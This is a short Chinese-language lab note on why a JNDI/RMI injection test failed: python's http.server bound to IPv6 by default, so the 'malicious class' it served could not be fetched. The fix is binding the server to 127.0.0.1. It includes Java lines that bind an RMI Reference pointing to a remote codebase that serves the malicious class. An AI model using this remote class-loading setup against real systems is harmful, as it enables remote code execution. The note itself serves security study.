问题描述

当我们使用python3开启http服务后

1
python -m http.server 8080

image-20221003175657450

然后使用RMI去连接这个目录下的恶意类,发现连接失败,python端没有任何回显

1
2
Reference refObj = new Reference("TestRef", "TestRef", "http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj",refObj);

问题解决

在python3新的版本中一开始的写法是默认开启的ipv6
应该使用下面这种方式来开启http

1
python -m http.server 7777 --bind 127.0.0.1

image-20221003175657450

我们从图中也能看出,ip地址从[::]变成了127.0.0.1

再次使用RMI连接,连接成功